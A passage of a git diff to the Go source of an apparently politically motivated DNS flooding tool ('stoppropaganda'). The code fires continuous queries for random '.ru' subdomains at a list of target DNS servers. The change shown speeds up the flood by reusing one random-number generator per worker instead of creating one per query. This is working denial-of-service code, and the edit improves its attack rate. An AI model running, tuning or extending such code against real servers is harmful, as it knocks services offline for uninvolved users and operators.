b/internal/stoppropaganda/dns.go index 322c48e..6776bf2 100644 --- a/internal/stoppropaganda/dns.go +++ b/internal/stoppropaganda/dns.go @@ -28,8 +28,9 @@ var dnsClient *dns.Client var dnsTargets = map[string]*DNSTarget{} func startDNS() { + rng := new(fastrand.RNG) for targetDNSServer := range targets.TargetDNSServers { - questionDomain := getRandomDomain() + "." + questionDomain := getRandomDomain(rng) + "." message := new(dns.Msg) message.SetQuestion(questionDomain, dns.TypeA) @@ -57,9 +58,10 @@ func startDNS() { } func runDNSWorker(c chan *DNSTarget) { + rng := new(fastrand.RNG) for { dnsTarget := <-c - questionDomain := getRandomDomain() + "." + questionDomain := getRandomDomain(rng) + "." dnsTarget.message.SetQuestion(questionDomain, dns.TypeA) _, _, err := dnsClient.Exchange(dnsTarget.message, dnsTarget.target) @@ -86,8 +88,7 @@ func runDNSWorker(c chan *DNSTarget) { var randomDomainRunes = []rune("abcdefghijklmnopqrstuvwxyz") -func getRandomDomain() string { - rng := new(fastrand.RNG) +func getRandomDomain(rng *fastrand.RNG) string { randomLength := rng.Uint32n(20-6) + 6 // from 6 to 20 characters length + ".ru" runes := uint32(len(randomDomainRunes)) b := make([]rune, randomLength)